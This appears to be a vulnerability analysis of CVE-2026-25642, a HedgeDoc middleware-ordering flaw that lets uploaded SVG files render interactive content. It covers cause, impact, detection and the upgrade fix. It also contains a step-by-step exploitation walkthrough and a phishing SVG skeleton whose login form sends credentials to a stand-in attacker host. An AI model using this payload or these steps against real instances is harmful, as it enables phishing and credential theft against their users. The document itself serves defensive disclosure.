CVE-2026-25642: 
NixOS vulnerability analysis and mitigation

CVE-2026-25642 is a Content-Security-Policy (CSP) misconfiguration vulnerability in HedgeDoc, an open-source real-time collaborative markdown notes application, that enables attackers to host malicious interactive web content (such as fake login forms) via uploaded SVG files. The vulnerability affects all HedgeDoc versions prior to 1.10.6 using the filesystem backend for media uploads. It was reported by researcher HUSEYNKHANLI, disclosed on February 4–6, 2026, and patched in version 1.10.6 released February 4, 2026. The CVSS v3.1 base score is 6.1 (Medium) per Feedly/NVD, while the GitHub advisory rates it 4.3 (Moderate) (GitHub Advisory, Red Hat CVE).

The root cause (CWE-79) is that security headers intended to restrict uploaded file behavior were not being applied due to a middleware ordering bug in Express.js. Specifically, the Content-Disposition: attachment and Content-Security-Policy: default-src 'none' headers were registered after express.static in app.js, causing Express to serve files before the headers could be set — effectively leaving the /uploads/ endpoint without any restrictive security policy. An attacker can exploit this by uploading a crafted SVG file containing an HTML form or JavaScript to a HedgeDoc note, then sharing a direct link to the uploaded file; because the domain appears legitimate, victims may interact with the malicious content. The fix involved reordering the middleware so security headers are applied before express.static processes the request, and further strengthening the CSP with the sandbox attribute (default-src 'none'; sandbox) (GitHub Advisory, Commit 74daa0e, Commit b930fe0).

Successful exploitation allows an unauthenticated attacker to serve malicious interactive content — such as fake login forms — from the trusted HedgeDoc domain, enabling phishing and credential theft against users who click direct links to uploaded SVG files. The integrity impact is low (attacker can manipulate what users see/submit), and there is no direct confidentiality or availability impact on the server itself. The primary risk is social engineering: victims may trust the content because it is served from the legitimate HedgeDoc instance domain, increasing the likelihood of credential compromise (GitHub Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction (a victim must click a link to the malicious uploaded file) and no authentication is needed to upload files if the HedgeDoc instance permits guest uploads (GitHub Advisory, Red Hat CVE).

1. Identify a vulnerable instance: Locate a publicly accessible HedgeDoc instance running a version prior to 1.10.6 that uses the filesystem backend for media uploads.
2. Craft a malicious SVG file: Create an SVG file containing an HTML form mimicking the HedgeDoc login page, with the form action pointing to an attacker-controlled server to capture submitted credentials. Example skeleton:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <form action="https://attacker.example.com/capture" method="POST">
        <input name="username" placeholder="Username"/>
        <input name="password" type="password" placeholder="Password"/>
        <button type="submit">Login</button>
      </form>
    </body>
  </foreignObject>
</svg>

3. Upload the SVG: Upload the malicious SVG file to a HedgeDoc note via the file upload feature (e.g., drag-and-drop or the attachment interface), which stores it under the /uploads/ path.
4. Obtain the direct URL: Note the direct URL to the uploaded SVG file (e.g., https://hedgedoc.example.com/uploads/<filename>.svg).
5. Deliver the link to victims: Share the direct link via email, chat, or embedding in a note. Because the URL is served from the legitimate HedgeDoc domain without restrictive CSP or Content-Disposition: attachment headers, the browser renders the SVG as an interactive web page.
6. Harvest credentials: Victims who interact with the fake login form submit their credentials to the attacker's server (GitHub Advisory, Commit 74daa0e).

• Network: Outbound POST requests from a user's browser to an external/unknown domain originating from a HedgeDoc /uploads/ SVG page; unusual form submissions to non-HedgeDoc endpoints observed in proxy or firewall logs.
• File System: Presence of SVG files in the HedgeDoc uploads directory (<uploadsPath>/*.svg) containing <form>, <foreignObject>, or JavaScript elements; unexpected SVG files with HTML content structures.
• Logs: HedgeDoc access logs showing direct browser GET requests to /uploads/*.svg files (rather than embedded image loads), especially from multiple distinct user IPs following a shared link; upload events for SVG files from unfamiliar or anonymous accounts.
• Process/Application: Absence of Content-Disposition: attachment and Content-Security-Policy: default-src 'none'; sandbox response headers on responses from the /uploads/ endpoint (confirming a vulnerable, unpatched instance) (GitHub Advisory).

Upgrade HedgeDoc to version 1.10.6 or later, which fixes the middleware ordering bug and applies Content-Disposition: attachment and Content-Security-Policy: default-src 'none'; sandbox headers to all files served under /uploads/. For instances where immediate upgrade is not possible, a reverse proxy (e.g., nginx or Apache) can be configured to inject these two headers for all requests matching the /uploads/ path prefix as a temporary workaround. Only HedgeDoc instances using the filesystem backend for media uploads are affected (GitHub Advisory, Release 1.10.6).

The vulnerability was reported by security researcher HUSEYNKHANLI and acknowledged by HedgeDoc maintainer ErikMichelson, who published the advisory and patches on February 4, 2026. The release notes for 1.10.6 describe it as a medium severity security fix and thank the reporter. No significant broader media coverage or notable community debate has been observed beyond standard vulnerability database aggregation (GitHub Advisory, Release 1.10.6).